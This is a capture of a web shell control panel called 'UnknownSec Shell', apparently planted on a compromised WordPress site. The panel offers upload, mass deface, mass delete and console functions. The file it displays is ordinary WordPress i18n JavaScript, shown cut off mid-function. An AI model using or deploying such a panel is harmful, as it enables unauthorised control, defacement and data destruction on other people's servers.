shell bypass 403
UnknownSec Shell
:
/
home
/
innovagencyco
/
public_html
/
statxpress
/
wp-includes
/
js
/
dist
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
i18n.js
/******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 2058: /***/ ((module, exports, __webpack_require__) => { var __WEBPACK_AMD_DEFINE_RESULT__;/* global window, exports, define */ !function() { 'use strict' var re = { not_string: /[^s]/, not_bool: /[^t]/, not_type: /[^T]/, not_primitive: /[^v]/, number: /[diefg]/, numeric_arg: /[bcdiefguxX]/, json: /[j]/, not_json: /[^j]/, text: /^[^\x25]+/, modulo: /^\x25{2}/, placeholder: /^\x25(?:([1-9]\d*)\$|\(([^)]+)\))?(\+)?(0|'[^$])?(-)?(\d+)?(?:\.(\d+))?([b-gijostTuvxX])/, key: /^([a-z_][a-z_\d]*)/i, key_access: /^\.([a-z_][a-z_\d]*)/i, index_access: /^\[(\d+)\]/, sign: /^[+-]/ } function sprintf(key) { // `arguments` is not an array, but should be fine for this call return sprintf_format(sprintf_parse(key), arguments) } function vsprintf(fmt, argv) { return sprintf.apply(null, [fmt].concat(argv || [])) } function sprintf_format(parse_tree, argv) { var cursor = 1, tree_length = parse_tree.length, arg, output = '', i, k, ph, pad, pad_character, pad_length, is_positive, sign for (i = 0; i < tree_length; i++) { if (typeof parse_tree[i] === 'string') { output += parse_tree[i] } else if (typeof parse_tree[i] === 'object') { ph = parse_tree[i] // convenience purposes only if (ph.keys) { // keyword argument arg = argv[cursor] for (k = 0; k < ph.keys.length; k++) { if (arg == undefined) { throw new Error(sprintf('[sprintf] Cannot access property "%s" of undefined value "%s"', ph.keys[k], ph.keys[k-1])) } arg = arg[ph.keys[k]] } } else if (ph.param_no) { // positional argument (explicit) arg = argv[ph.param_no] } else { // positional argument (implicit) arg = argv[cursor++] } if (re.not_type.test(ph.type) && re.not_primitive.test(ph.type) && arg instanceof Function) { arg = arg() } if (re.numeric_arg.test(ph.type) && (typeof arg !== 'number' && isNaN(arg))) { throw new TypeError(sprintf('[sprintf] expecting number but found %T', arg)) } if (re.number.test(ph.type)) { is_positive = arg >= 0 } switch (ph.type) { case 'b': arg = parseInt(arg, 10).toString(2) break case 'c': arg = String.fromCharCode(parseInt(arg, 10)) break case 'd': case 'i': arg = parseInt(arg, 10) break case 'j': arg = JSON.stringify(arg, null, ph.width ? parseInt(ph.width) : 0) break case 'e': arg = ph.precision ? parseFloat(arg).toExponential(ph.precision) : parseFloat(arg).toExponential() break case 'f': arg = ph.precision ? parseFloat(arg).toFixed(ph.precision) : parseFloat(arg) break case 'g': arg = ph.precision ? String(Number(arg.toPrecision(ph.precision))) : parseFloat(arg) break case 'o': arg = (parseInt(arg, 10) >>> 0).toString(8) break case 's': arg = String(arg) arg = (ph.precision ? arg.substring(0, ph.precision) : arg) break case 't': arg = String(!!arg) arg = (ph.precision ? arg.substring(0, ph.precision) : arg) break case 'T': arg = Object.prototype.toString.call(arg).slice(8, -1).toLowerCase() arg = (ph.precision ? arg.substring(0, ph.precision) : arg) break case 'u': arg = parseInt(arg, 10) >>> 0 break case 'v': arg = arg.valueOf() arg = (ph.precision ? arg.substring(0, ph.precision) : arg) break case 'x': arg = (parseInt(arg, 10) >>> 0).toString(16) break case 'X': arg = (parseInt(arg, 10) >>> 0).toString(16).toUpperCase() break } if (re.json.test(ph.type)) { output += arg } else { if (re.number.test(ph.type) && (!is_positive || ph.sign)) { sign = is_positive ? '+' : '-' arg = arg.toString().replace(re.sign, '') } else { sign = '' } pad_character = ph.pad_char ? ph.pad_char === '0' ? '0' : ph.pad_char.charAt(1) : ' ' pad_length = ph.width - (sign + arg).length pad = ph.width ? (pad_length > 0 ? pad_character.repeat(pad_length) : '') : '' output += ph.align ? sign + arg + pad : (pad_character === '0' ? sign + pad + arg : pad + sign + arg) } } } return output } var sprintf_cache = Object.create(null) function sprintf_parse(fmt) { if (sprintf_cache[fmt]) { return sprintf_cache[fmt] } var _fmt = fmt, match, parse_tree = [], arg_names = 0 while (_fmt) { if ((match = re.text.exec(_fmt)) !== null) { parse_tree.push(match[0]) } else if ((match = re.modulo.exec(_fmt)) !== null) { parse_tree.push('%') } else if ((match = re.placeholder.exec(_fmt)) !== null) { if (match[2]) { arg_names |= 1 var field_list = [], replacement_field = match[2], field_match = [] if ((field_match = re.key.exec(replacement_field)) !== null) { field_list.push(field_match[1]) while ((replacement_field = replacement_field.substring(field_match[0].length)) !== '') { if ((field_match = re.key_access.exec(replacement_field)) !== null) { field_list.push(field_match[1]) } else if ((field_match = re.index_access.exec(replacement_field)) !== null) { field_list.push(field_match[1]) } else { throw new SyntaxError('[sprintf] failed to parse named argument key') } } } else { throw new SyntaxError('[sprintf] failed to parse named argument key') } match[2] = field_list } else { arg_names |= 2 } if (arg_names === 3) { throw new Error('[sprintf] mixing positional and named placeholders is not (yet) supported') } parse_tree.push( { placeholder: match[0], param_no: match[1], keys: match[2], sign: match[3], pad_char: match[4], align: match[5], width: match[6], precision: match[7], type: match[8] } ) } else { throw new SyntaxError('[sprintf] unexpected placeholder') } _fmt = _fmt.substring(match[0].length) } return sprintf_cache[fmt] = parse_tree } /** * export to either browser or node.js */ /* eslint-disable quote-props */ if (true) { exports.sprintf = sprintf exports.vsprintf = vsprintf } if (typeof window !== 'undefined') { window['sprintf'] = sprintf window['vsprintf'] = vsprintf if (true) { !(__WEBPACK_AMD_DEFINE_RESULT__ = (function() { return { 'sprintf': sprintf, 'vsprintf': vsprintf } }).call(exports, __webpack_require__, exports, module), __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)) } } /* eslint-enable quote-props */ }(); // eslint-disable-line /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry need to be wrapped in an IIFE because it need to be in strict mode. (() => { "use strict"; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { __: () => (/* reexport */ __), _n: () => (/* reexport */ _n), _nx: () => (/* reexport */ _nx), _x: () => (/* reexport */ _x), createI18n: () => (/* reexport */ createI18n), defaultI18n: () => (/* reexport */ default_i18n), getLocaleData: () => (/* reexport */ getLocaleData), hasTranslation: () => (/* reexport */ hasTranslation), isRTL: () => (/* reexport */ isRTL), resetLocaleData: () => (/* reexport */ resetLocaleData), setLocaleData: () => (/* reexport */ setLocaleData), sprintf: () => (/* reexport */ sprintf_sprintf), subscribe: () => (/* reexport */ subscribe) }); ;// CONCATENATED MODULE: ./node_modules/memize/dist/index.js /** * Memize options object. * * @typedef MemizeOptions * * @property {number} [maxSize] Maximum size of the cache. */ /** * Internal cache entry. * * @typedef MemizeCacheNode * * @property {?MemizeCacheNode|undefined} [prev] Previous node. * @property {?MemizeCacheNode|undefined} [next] Next node. * @property {Array<*>} args Function arguments for cache * entry. * @property {*} val Function result. */ /** * Properties of the enhanced function for controlling cache. * * @typedef MemizeMemoizedFunction * * @property {()=>void} clear Clear the cache. */ /** * Accepts a function to be memoized, and returns a new memoized function, with * optional options. * * @template {(...args: any[]) => any} F * * @param {F} fn Function to memoize. * @param {MemizeOptions} [options] Options object. * * @return {((...args: Parameters<F>) => ReturnType<F>) & MemizeMemoizedFunction} Memoized function. */ function memize(fn, options) { var size = 0; /** @type {?MemizeCacheNode|undefined} */ var head; /** @type {?MemizeCacheNode|undefined} */ var tail; options = options || {}; function memoized(/* ...args */) { var node = head, len = arguments.length, args, i; searchCache: while (node) { // Perform a shallow equality test to confirm that whether the node // under test is a candidate for the arguments passed. Two arrays // are shallowly equal if their length matches and each entry is // strictly equal between the two sets. Avoid abstracting to a // function which could incur an arguments leaking deoptimization. // Check whether node arguments match arguments length if (node.args.length !== arguments.length) { node = node.next; continue; } // Check whether node arguments match arguments values for (i = 0; i < len; i++) { if (node.args[i] !== arguments[i]) { node = node.next; continue searchCache; } } // At this point we can assume we've found a match // Surface matched node to head if not already if (node !== head) { // As tail, shift to previous. Must only shift if not also // head, since if both head and tail, there is no previous. if (node === tail) { tail = node.prev; } // Adjust siblings to point to each other. If node was tail, // this also handles new tail's empty `next` assignment. /** @type {MemizeCacheNode} */ (node.prev).next = node.next; if (node.next) { node.next.prev = node.prev; } node.next = head; node.prev = null; /** @type {MemizeCacheNode} */ (head).prev = node; head = node; } // Return immediately return node.val; } // No cached value found. Continue to insertion phase: // Create a copy of arguments (avoid leaking deoptimization) args = new Array(len); for (i = 0; i < len; i++) { args[i] = arguments[i]; } node = { args: args, // Generate the result from original function val: fn.apply(null, args), }; // Don't need to check whether node is already head, since it would // have been returned above already if it was // Shift existing head down list if (head) { head.prev = node; node.next = head; } else { // If no head, follows that there's no tail (at initial or reset) tail = node; } // Trim tail if we're reached max size and are pending cache insertion if (size === /** @type {MemizeOptions} */ (options).maxSize) { tail = /** @type {MemizeCacheNode} */ (tail).prev; /** @type {MemizeCacheNode} */ (tail).next = null; } else { size++; } head = node; return node.val; } memoized.clear = function () { head = null; tail = null; size = 0; }; // Ignore reason: There's not a clear solution to create an intersection of // the function with additional properties, where the goal is to retain the // function signature of the incoming argument and add control properties // on the return value. // @ts-ignore return memoized; } // EXTERNAL MODULE: ./node_modules/sprintf-js/src/sprintf.js var sprintf = __webpack_require__(2058); var sprintf_default = /*#__PURE__*/__webpack_require__.n(sprintf); ;// CONCATENATED MODULE: ./node_modules/@wordpress/i18n/build-module/sprintf.js /** * External dependencies */ /** * Log to console, once per message; or more precisely, per referentially equal * argument set. Because Jed throws errors, we log these to the console instead * to avoid crashing the application. * * @param {...*} args Arguments to pass to `console.error` */ const logErrorOnce = memize(console.error); // eslint-disable-line no-console /** * Returns a formatted string. If an error occurs in applying the format, the * original format string is returned. * * @param {string} format The format of the string to generate. * @param {...*} args Arguments to apply to the format. * * @see https://www.npmjs.com/package/sprintf-js * * @return {string} The formatted string. */ function sprintf_sprintf(format, ...args) { try { return sprintf_default().sprintf(format, ...args); } catch (error) { if (error instanceof Error) { logErrorOnce('sprintf error: \n\n' + error.toString()); } return format; } } ;// CONCATENATED MODULE: ./node_modules/@tannin/postfix/index.js var PRECEDENCE, OPENERS, TERMINATORS, PATTERN; /** * Operator precedence mapping. * * @type {Object} */ PRECEDENCE = { '(': 9, '!': 8, '*': 7, '/': 7, '%': 7, '+': 6, '-': 6, '<': 5, '<=': 5, '>': 5, '>=': 5, '==': 4, '!=': 4, '&&': 3, '||': 2, '?': 1, '?:': 1, }; /** * Characters which signal pair opening, to be terminated by terminators. * * @type {string[]} */ OPENERS = [ '(', '?' ]; /** * Characters which signal pair termination, the value an array with the * opener as its first member. The second member is an optional operator * replacement to push to the stack. * * @type {string[]} */ TERMINATORS = { ')': [ '(' ], ':': [ '?', '?:' ], }; /** * Pattern matching operators and openers. * * @type {RegExp} */ PATTERN = /<=|>=|==|!=|&&|\|\||\?:|\(|!|\*|\/|%|\+|-|<|>|\?|\)|:/; /** * Given a C expression, returns the equivalent postfix (Reverse Polish) * notation terms as an array. * * If a postfix string is desired, simply `.join( ' ' )` the result. * * @example * * ```js * import postfix from '@tannin/postfix'; * * postfix( 'n > 1' ); * // ⇒ [ 'n', '1', '>' ] * ``` * * @param {string} expression C expression. * * @return {string[]} Postfix terms. */ function postfix( expression ) { var terms = [], stack = [], match, operator, term, element; while ( ( match = expression.match( PATTERN ) ) ) { operator = match[ 0 ]; // Term is the string preceding the operator match. It may contain // whitespace, and may be empty (if operator is at beginning). term = expression.substr( 0, match.index ).trim(); if ( term ) { terms.push( term ); } while ( ( element = stack.pop() ) ) { if ( TERMINATORS[ operator ] ) { if ( TERMINATORS[ operator ][ 0 ] === element ) { // Substitution works here under assumption that because // the assigned operator will no longer be a terminator, it // will be pushed to the stack during the condition below. operator = TERMINATORS[ operator ][ 1 ] || operator; break; } } else if ( OPENERS.indexOf( element ) >= 0 || PRECEDENCE[ element ] < PRECEDENCE[ operator ] ) { // Push to stack if either an opener or when pop reveals an // element of lower precedence. stack.push( element ); break; } // For each popped from stack, push to terms. terms.push( element ); } if ( ! TERMINATORS[ operator ] ) { stack.push( operator ); } // Slice matched fragment from expression to continue match. expression = expression.substr( match.index + operator.length ); } // Push remainder of operand, if exists, to terms. expression = expression.trim(); if ( expression ) { terms.push( expression ); } // Pop remaining items from stack into terms. return terms.concat( stack.reverse() ); } ;// CONCATENATED MODULE: ./node_modules/@tannin/evaluate/index.js /** * Operator callback functions. * * @type {Object} */ var OPERATORS = { '!': function( a ) { return ! a; }, '*': function( a, b ) { return a * b; }, '/': function( a, b ) { return a / b; }, '%': function( a, b ) { return a % b; }, '+': function( a, b ) { return a + b; }, '-': function( a, b ) { return a - b; }, '<': function( a, b ) { return a < b; }, '<=': function( a, b ) { return a <= b; }, '>': function( a, b ) { return a > b; }, '>=': function( a, b ) { return a >= b; }, '==': function( a, b ) { return a === b; }, '!=': function( a, b ) { return a !== b; }, '&&': function( a, b ) { return a && b; }, '||': function( a, b ) { return a || b; }, '?:': function( a, b, c ) { if ( a ) { throw b; } return c; }, }; /** * Given an array of postfix terms and operand variables, returns the result of * the postfix evaluation. * * @example * * ```js * import evaluate from '@tannin/evaluate'; * * // 3 + 4 * 5 / 6 ⇒ '3 4 5 * 6 / +' * const terms = [ '3', '4', '5', '*', '6', '/', '+' ]; * * evaluate( terms, {} ); * // ⇒ 6.333333333333334 * ``` * * @param {string[]} postfix Postfix terms. * @param {Object} variables Operand variables. * * @return {*} Result of evaluation. */ function evaluate( postfix, variables ) { var stack = [], i, j, args, getOperatorResult, term, value; for ( i = 0; i < postfix.length; i++ ) { term = postfix[ i ]; getOperatorResult = OPERATORS[ term ]; if ( getOperatorResult ) { // Pop from stack by number of function arguments. j = getOperatorResult.length; args = Array( j ); while ( j-- ) { args[ j ] = stack.pop(); } try { value = getOperatorResult.apply( null, args ); } catch ( earlyReturn ) { return earlyReturn; } } else if ( variables.hasOwnProperty( term ) ) { value = variables[ term ]; } else { value = +term; } stack.push( value ); } return stack[ 0 ]; } ;// CONCATENATED MODULE: ./node_modules/@tannin/compile/index.js /** * Given a C expression, returns a function which can be called to evaluate its * result. * * @example * * ```js * import compile from '@tannin/compile'; * * const evaluate = compile( 'n > 1' ); * * evaluate( { n: 2 } ); * // ⇒ true * ``` * * @param {string} expression C expression. * * @return {(variables?:{[variable:string]:*})=>*} Compiled evaluator. */ function compile( expression ) { var terms = postfix( expression ); return function( variables ) { return evaluate( terms, variables ); }; } ;// CONCATENATED MODULE: ./node_modules/@tannin/plural-forms/index.js /** * Given a C expression, returns a function which, when called with a value, * evaluates the result with the value assumed to be the "n" variable of the * expression. The result will be coerced to its numeric equivalent. * * @param {string} expression C expression. * * @return {Function} Evaluator function. */ function pluralForms( expression ) { var evaluate = compile( expression ); return function( n ) { return +evaluate( { n: n } ); }; } ;// CONCATENATED MODULE: ./node_modules/tannin/index.js /** * Tannin constructor options. * * @typedef {Object} TanninOptions * * @property {string} [contextDelimiter] Joiner in string lookup with context. * @property {Function} [onMissingKey] Callback to invoke when key missing. */ /** * Domain metadata. * * @typedef {Object} TanninDomainMetadata * * @property {string} [domain] Domain name. * @property {string} [lang] Language code. * @property {(string|Function)} [plural_forms] Plural forms expression or * function evaluator. */ /** * Domain translation pair respectively representing the singular and plural * translation. * * @typedef {[string,string]} TanninTranslation */ /** * Locale data domain. The key is used as reference for lookup, the value an * array of two string entries respectively representing the singular and plural * translation. * * @typedef {{[key:string]:TanninDomainMetadata|TanninTranslation,'':TanninDomainMetadata|TanninTranslation}} TanninLocaleDomain */ /** * Jed-formatted locale data. * * @see http://messageformat.github.io/Jed/ * * @typedef {{[domain:string]:TanninLocaleDomain}} TanninLocaleData */ /** * Default Tannin constructor options. * * @type {TanninOptions} */ var DEFAULT_OPTIONS = { contextDelimiter: '\u0004', onMissingKey: null, }; /** * Given a specific locale data's config `plural_forms` value, returns the * expression. * * @example * * ``` * getPluralExpression( 'nplurals=2; plural=(n != 1);' ) === '(n != 1)' * ``` * * @param {string} pf Locale data plural forms. * * @return {string} Plural forms expression. */ function getPluralExpression( pf ) { var parts, i, part; parts = pf.split( ';' ); for ( i = 0; i < parts.length; i++ ) { part = parts[ i ].trim(); if ( part.indexOf( 'plural=' ) === 0 ) { return part.substr( 7 ); } } } /** * Tannin constructor. * * @class * * @param {TanninLocaleData} data Jed-formatted locale data. * @param {TanninOptions} [options] Tannin options. */ function Tannin( data, options ) { var key; /** * Jed-formatted locale data. * * @name Tannin#data * @type {TanninLocaleData} */ this.data = data; /** * Plural forms function cache, keyed by plural forms string. * * @name Tannin#pluralForms * @type {Object<string,Function>} */ this.pluralForms = {}; /** * Effective options for instance, including defaults. * * @name Tannin#options * @type {TanninOptions} */ this.options = {}; for ( key in DEFAULT_OPTIONS ) { this.options[ key ] = options !== undefined && key in options ? options[ key ] : DEFAULT_OPTIONS[ key ]; } } /** * Returns the plural form index for the given domain and value. * * @param {string} domain Domain on which to calculate plural form. * @param {number} n Value for which plural form is to be calculated. * * @return {number} Plural form index. */ Tannin.prototype.getPluralForm = function( domain, n ) { var getPluralForm = this.pluralForms[ domain ], config, plural, pf; if ( ! getPluralForm ) { config = this.data[ domain ][ '' ]; pf = ( config[ 'Plural-Forms' ] || config[ 'plural-forms' ] || // Ignore reason: As known, there's no way to document the empty // string property on a key to guarantee this as metadata. // @ts-ignore config.plural_forms ); if ( typeof pf !== 'function' ) { plural = getPluralExpression( config[ 'Plural-Forms' ] || config[ 'plural-forms' ] || // Ignore reason: As known, there's no way to document the empty // string property on a key to guarantee this as metadata. // @ts-ignore config.plural_forms ); pf = pluralForms( plural ); } getPluralForm = this.pluralForms[ domain ] = pf; } return getPluralForm( n ); }; /** * Translate a string. * * @param {string} domain Translation domain. * @param {string|void} context Context distinguishing terms of the same name. * @param {string} singular Primary key for translation lookup. * @param {string=} plural Fallback value used for non-zero plural * form index. * @param {number=} n Value to use in calculating plural form. * * @return {string} Translated string. */ Tannin.prototype.dcnpgettext = function( domain, context, singular, plural, n ) { var index, key, entry; if ( n === undefined ) { // Default to singular. index = 0; } else { // Find index by evaluating plural form for value. index = this.getPluralForm( domain, n ); } key = singular; // If provided, context is prepended to key with delimiter. if ( context ) { key = context + this.options.contextDelimiter + singular; } entry = this.data[ domain ][ key ]; // Verify not only that entry exists, but that the intended index is within // range and non-empty. if ( entry && entry[ index ] ) { return entry[ index ]; } if ( this.options.onMissingKey ) { this.options.onMissingKey( singular, domain ); } // If entry not found, fall back to singular vs. plural with zero index // representing the singular value. return index === 0 ? singular : plural; }; ;// CONCATENATED MODULE: ./node_modules/@wordpress/i18n/build-module/create-i18n.js /** * External dependencies */ /** * @typedef {Record<string,any>} LocaleData */ /** * Default locale data to use for Tannin domain when not otherwise provided. * Assumes an English plural forms expression. * * @type {LocaleData} */ const DEFAULT_LOCALE_DATA = { '': { /** @param {number} n */ plural_forms(n) { return n === 1 ? 0 : 1; } } }; /* * Regular expression that matches i18n hooks like `i18n.gettext`, `i18n.ngettext`, * `i18n.gettext_domain` or `i18n.ngettext_with_context` or `i18n.has_translation`. */ const I18N_HOOK_REGEXP = /^i18n\.(n?gettext|has_translation)(_|$)/; /** * @typedef {(domain?: string) => LocaleData} GetLocaleData * * Returns locale data by domain in a * Jed-formatted JSON object shape. * * @see http://messageformat.github.io/Jed/ */ /** * @typedef {(data?: LocaleData, domain?: string) => void} SetLocaleData * * Merges locale data into the Tannin instance by domain. Note that this * function will overwrite the domain configuration. Accepts data in a * Jed-formatted JSON object shape. * * @see http://messageformat.github.io/Jed/ */ /** * @typedef {(data?: LocaleData, domain?: string) => void} AddLocaleData * * Merges locale data into the Tannin instance by domain. Note that this * function will also merge the domain configuration. Accepts data in a * Jed-formatted JSON object shape. * * @see http://messageformat.github.io/Jed/ */ /** * @typedef {(data?: LocaleData, domain?: string) => void} ResetLocaleData * * Resets all current Tannin instance locale data and sets the specified * locale data for the domain. Accepts data in a Jed-formatted JSON object shape. * * @see http://messageformat.github.io/Jed/ */ /** @typedef {() => void} SubscribeCallback */ /** @typedef {() => void} UnsubscribeCallback */ /** * @typedef {(callback: SubscribeCallback) => UnsubscribeCallback} Subscribe * * Subscribes to changes of locale data */ /** * @typedef {(domain?: string) => string} GetFilterDomain * Retrieve the domain to use when calling domain-specific filters. */ /** * @typedef {(text: string, domain?: string) => string} __ * * Retrieve the translation of text. * * @see https://developer.wordpress.org/reference/functions/__/ */ /** * @typedef {(text: string, context: string, domain?: string) => string} _x * * Retrieve translated string with gettext context. * * @see https://developer.wordpress.org/reference/functions/_x/ */ /** * @typedef {(single: string, plural: string, number: number, domain?: string) => string} _n * * Translates and retrieves the singular or plural form based on the supplied * number. * * @see https://developer.wordpress.org/reference/functions/_n/ */ /** * @typedef {(single: string, plural: string, number: number, context: string, domain?: string) => string} _nx * * Translates and retrieves the singular or plural form based on the supplied * number, with gettext context. * * @see https://developer.wordpress.org/reference/functions/_nx/ */ /** * @typedef {() => boolean} IsRtl * * Check if current locale is RTL. * * **RTL (Right To Left)** is a locale property indicating that text is written from right to left. * For example, the `he` locale (for Hebrew) specifies right-to-left. Arabic (ar) is another common * language written RTL. The opposite of RTL, LTR (Left To Right) is used in other languages, * including English (`en`, `en-US`, `en-GB`, etc.), Spanish (`es`), and French (`fr`). */ /** * @typedef {(single: string, context?: string, domain?: string) => boolean} HasTranslation * * Check if there is a translation for a given string in singular form. */ /** @typedef {import('@wordpress/hooks').Hooks} Hooks */ /** * An i18n instance * * @typedef I18n * @property {GetLocaleData} getLocaleData Returns locale data by domain in a Jed-formatted JSON object shape. * @property {SetLocaleData} setLocaleData Merges locale data into the Tannin instance by domain. Note that this * function will overwrite the domain configuration. Accepts data in a * Jed-formatted JSON object shape. * @property {AddLocaleData} addLocaleData Merges locale data into the Tannin instance by domain. Note that this * function will also merge the domain configuration. Accepts data in a * Jed-formatted JSON object shape. * @property {ResetLocaleData} resetLocaleData Resets all current Tannin instance locale data and sets the specified * locale data for the domain. Accepts data in a Jed-formatted JSON object shape. * @property {Subscribe} subscribe Subscribes to changes of Tannin locale data. * @property {__} __ Retrieve the translation of text. * @property {_x} _x Retrieve translated string with gettext context. * @property {_n} _n Translates and retrieves the singular or plural form based on the supplied * number. * @property {_nx} _nx Translates and retrieves the singular or plural form based on the supplied * number, with gettext context. * @property {IsRtl} isRTL Check if current locale is RTL. * @property {HasTranslation} hasTranslation Check if there is a translation for a given string. */ /** * Create an i18n instance * * @param {LocaleData} [initialData] Locale data configuration. * @param {string} [initialDomain] Domain for which configuration applies. * @param {Hooks} [hooks] Hooks implementation. * * @return {I18n} I18n instance. */ const createI18n = (initialData, initialDomain, hooks) => { /** * The underlying instance of Tannin to which exported functions interface. * * @type {Tannin} */ const tannin = new Tannin({}); const listeners = new Set(); const notifyListeners = () => { listeners.forEach(listener => listener()); }; /** * Subscribe to changes of locale data. * * @param {SubscribeCallback} callback Subscription callback. * @return {UnsubscribeCallback} Unsubscribe callback. */ const subscribe = callback => { listeners.add(callback); return () => listeners.delete(callback); }; /** @type {GetLocaleData} */ const getLocaleData = (domain = 'default') => tannin.data[domain]; /** * @param {LocaleData} [data] * @param {string} [domain] */ const doSetLocaleData = (data, domain = 'default') => { tannin.data[domain] = { ...tannin.data[domain], ...data }; // Populate default domain configuration (supported locale date which omits // a plural forms expression). tannin.data[domain][''] = { ...DEFAULT_LOCALE_DATA[''], ...tannin.data[domain]?.[''] }; // Clean up cached plural forms functions cache as it might be updated. delete tannin.pluralForms[domain]; }; /** @type {SetLocaleData} */ const setLocaleData = (data, domain) => { doSetLocaleData(data, domain); notifyListeners(); }; /** @type {AddLocaleData} */ const addLocaleData = (data, domain = 'default') => { tannin.data[domain] = { ...tannin.data[domain], ...data, // Populate default domain configuration (supported locale date which omits // a plural forms expression). '': { ...DEFAULT_LOCALE_DATA[''], ...tannin.data[domain]?.[''], ...data?.[''] } }; // Clean up cached plural forms functions cache as it might be updated. delete tannin.pluralForms[domain]; notifyListeners(); }; /** @type {ResetLocaleData} */ const resetLocaleData = (data, domain) => { // Reset all current Tannin locale data. tannin.data = {}; // Reset cached plural forms functions cache. tannin.pluralForms = {}; setLocaleData(data, domain); }; /** * Wrapper for Tannin's `dcnpgettext`. Populates default locale data if not * otherwise previously assigned. * * @param {string|undefined} domain Domain to retrieve the translated text. * @param {string|undefined} context Context information for the translators. * @param {string} single Text to translate if non-plural. Used as * fallback return value on a caught error. * @param {string} [plural] The text to be used if the number is * plural. * @param {number} [number] The number to compare against to use * either the singular or plural form. * * @return {string} The translated string. */ const dcnpgettext = (domain = 'default', context, single, plural, number) => { if (!tannin.data[domain]) { // Use `doSetLocaleData` to set silently, without notifying listeners. doSetLocaleData(undefined, domain); } return tannin.dcnpgettext(domain, context, single, plural, number); }; /** @type {GetFilterDomain} */ const getFilterDomain = (domain = 'default') => domain; /** @type {__} */ const __ = (text, domain) => { let translation = dcnpgettext(domain, undefined, text); if (!hooks) { return translation; } /** * Filters text with its translation. * * @param {string} translation Translated text. * @param {string} text Text to translate. * @param {string} domain Text domain. Unique identifier for retrieving translated strings. */ translation = /** @type {string} */ /** @type {*} */hooks.applyFilters('i18n.gettext', translation, text, domain); return /** @type {string} */( /** @type {*} */hooks.applyFilters('i18n.gettext_' + getFilterDomain(domain), translation, text, domain) ); }; /** @type {_x} */ const _x = (text, context, domain) => { let translation = dcnpgettext(domain, context, text); if (!hooks) { return translation; } /** * Filters text with its translation based on context information. * * @param {string} translation Translated text. * @param {string} text Text to translate. * @param {string} context Context information for the translators. * @param {string} domain Text domain. Unique identifier for retrieving translated strings. */ translation = /** @type {string} */ /** @type {*} */hooks.applyFilters('i18n.gettext_with_context', translation, text, context, domain); return /** @type {string} */( /** @type {*} */hooks.applyFilters('i18n.gettext_with_context_' + getFilterDomain(domain), translation, text, context, domain) ); }; /** @type {_n} */ const _n = (single, plural, number, domain) => { let translation = dcnpgettext(domain, undefined, single, plural, number); if (!hooks) { return translation; } /** * Filters the singular or plural form of a string. * * @param {string} translation Translated text. * @param {string} single The text to be used if the number is singular. * @param {string} plural The text to be used if the number is plural. * @param {string} number The number to compare against to use either the singular or plural form. * @param {string} domain Text domain. Unique identifier for retrieving translated strings. */ translation = /** @type {string} */ /** @type {*} */hooks.applyFilters('i18n.ngettext', translation, single, plural, number, domain); return /** @type {string} */( /** @type {*} */hooks.applyFilters('i18n.ngettext_' + getFilterDomain(domain), translation, single, plural, number, domain) ); }; /** @type {_nx} */ const _nx = (single, plural, number, context, domain) => { let translation = dcnpgettext(domain, context, single, plural, number); if (!hooks) { return translation; } /** * Filters the singular or plural form of a string with gettext context. * * @param {string} translation Translated text. * @param {string} single The text to be used if the number is singular. * @param {string} plural The text to be used if the number is plural. * @param {string} number The number to compare against to use either the singular or plural form. * @param {string} context Context information for the translators. * @param {string} domain Text domain. Unique identifier for retrieving translated strings. */ translation = /** @type {string} */ /** @type {*} */hooks.applyFilters('i18n.ngettext_with_context', translation, single, plural, number, context, domain); return /** @type {string} */( /** @type {*} */hooks.applyFilters('i18n.ngettext_with_context_' + getFilterDomain(domain), translation, single, plural, number, context, domain) ); }; /** @type {IsRtl} */ const isRTL = () => { return 'rtl' === _x('ltr', 'text direction'); }; /** @type {HasTranslation} */ const hasTranslation = (single, context, domain) => { const key = context ? context + '\u0004' + single : single; let result = !!tannin.data?.[domain !== null && domain !== void 0 ? domain : 'default']?.[key]; if (hooks) { /** * Filters the presence of a translation in the locale data. * * @param {boolean} hasTranslation Whether the translation is present or not.. * @param {string} single The singular form of the translated text (used as key in locale data) * @param {string} context Context information for the translators. * @param {string} domain Text domain. Unique identifier for retrieving translated strings. */ result = /** @type { boolean } */ /** @type {*} */hooks.applyFilters('i18n.has_translation', result, single, context, domain); result = /** @type { boolean } */ /** @type {*} */hooks.applyFilters('i18n.has_translation_' + getFilterDomain(domain), result, single, context, 